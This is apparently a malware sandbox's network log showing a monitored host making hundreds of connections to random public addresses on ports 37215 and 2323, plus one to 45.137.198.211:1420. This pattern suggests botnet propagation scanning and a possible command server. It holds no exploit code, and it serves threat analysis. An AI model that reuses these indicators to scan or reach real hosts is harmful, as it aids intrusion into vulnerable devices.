Source: unknown	Network traffic detected: HTTP traffic on port 40398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42972 -> 37215

Source: global traffic	TCP traffic: 192.168.2.14:36630 -> 45.137.198.211:1420
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 205.120.223.78:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 14.142.165.152:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 81.111.221.62:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 191.63.146.86:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 181.114.197.8:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 99.245.10.131:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 220.44.72.29:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 92.0.135.4:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 36.241.72.227:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 155.238.111.186:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 115.80.9.240:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 85.3.6.123:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 88.254.110.224:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 221.184.255.157:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 2.91.173.3:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 41.70.14.224:2323
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.169.44.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.136.228.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.120.159.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.75.45.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.66.89.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.53.135.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.146.79.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.74.149.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.244.34.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.196.1.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.100.85.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.103.212.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.242.35.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.67.121.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.200.79.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.103.175.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.139.250.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.224.97.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.112.111.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.114.205.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.171.155.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.212.37.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.252.34.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.170.240.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.71.213.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.62.139.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.240.69.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.47.170.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.205.151.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.240.239.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.228.100.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.139.56.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.127.1.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.225.209.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.242.157.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.94.55.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.5.175.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.9.173.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.200.82.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.8.55.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.171.60.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.247.144.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.43.132.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.61.90.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.98.76.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.153.188.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.102.203.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.126.15.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.33.42.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.210.51.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.237.78.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.221.227.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.94.191.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.121.20.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.50.101.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.138.131.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.183.193.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.211.117.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.33.3.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.49.156.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.192.248.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.133.98.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.202.0.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.47.159.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.7.7.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.125.245.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.90.138.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.196.97.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.56.8.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.151.29.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.68.138.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.13.36.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.39.101.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.32.197.61:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.130.3.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.235.39.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.115.234.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.176.3.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.97.3.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.147.107.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.90.154.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.215.146.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.24.184.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.119.100.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.90.124.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.9.1.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.74.174.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.185.187.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.240.112.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.118.22.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.15.115.61:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.144.221.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.211.13.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.236.37.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.193.4.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.59.58.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.161.166.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.60.137.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.135.60.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.42.99.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.81.245.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.242.150.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.127.183.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.98.15.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.240.220.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.209.95.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.231.9.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.40.104.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.222.138.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.252.148.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.117.78.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.246.192.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.65.180.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.17.119.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.5.34.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.31.141.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.103.121.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.237.78.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.170.38.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.78.178.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.124.112.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.48.218.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.200.248.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.21.110.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.11.98.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.227.235.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.3.1.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.136.4.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.15.255.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.71.89.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.112.43.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.153.237.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.55.5.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.228.8.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.82.216.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.222.230.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.161.155.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.233.110.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.254.189.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.249.65.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.61.130.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.23.150.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.206.39.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.141.199.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.37.142.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.90.202.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.121.39.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.226.176.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.125.157.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.61.144.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.249.177.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.195.31.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.152.77.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.219.28.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.56.81.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.153.156.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.36.204.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.18.63.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.66.164.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.246.146.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.6.109.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.154.30.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.182.33.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.55.38.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.27.29.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.80.42.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.81.192.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.219.252.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.90.182.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.152.2.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.166.112.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.47.99.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.46.197.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.54.192.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.37.52.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.176.150.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.186.191.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.155.72.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.92.147.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.61.48.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.235.187.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.199.75.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.140.199.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.107.142.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.87.240.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.238.8.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.217.167.127:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.140.205.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.169.84.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.76.181.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.93.90.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.119.88.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.120.184.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.67.130.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.114.174.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.205.84.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.251.173.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.114.9.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.46.63.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.114.75.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.116.213.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.28.64.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.243.111.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.175.142.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.237.3.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.24.45.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.238.31.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.62.212.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.153.179.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.30.118.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.151.213.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.79.123.127:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.158.130.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.12.149.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.7.134.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.35.202.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.211.177.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.216.25.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.229.83.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.45.16.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.86.114.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.23.239.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.109.191.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.127.182.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.38.145.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.145.112.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.27.102.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.215.138.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.216.150.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.182.5.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.48.3.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.152.236.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.119.35.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.39.47.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.188.232.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.95.77.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.206.17.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.64.167.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.116.252.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.11.108.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.66.71.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.12.159.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.112.39.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.25.118.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.4.160.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.213.78.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.182.64.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.4.244.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.61.167.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.40.7.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.168.236.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.226.116.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.24.78.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.228.235.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.172.73.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.228.234.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.103.214.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.177.54.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.246.125.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.139.229.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.36.96.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.149.103.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.219.199.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.179.221.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.183.244.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.170.216.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.152.197.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.212.188.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.88.250.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.239.44.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.241.192.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.235.130.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.116.78.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.102.30.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.174.186.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.243.135.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.156.34.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.194.46.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.214.45.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.122.72.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.112.217.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.35.138.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.97.180.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.222.193.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.7.60.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.164.173.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.132.232.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.20.24.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.91.61.243:37215
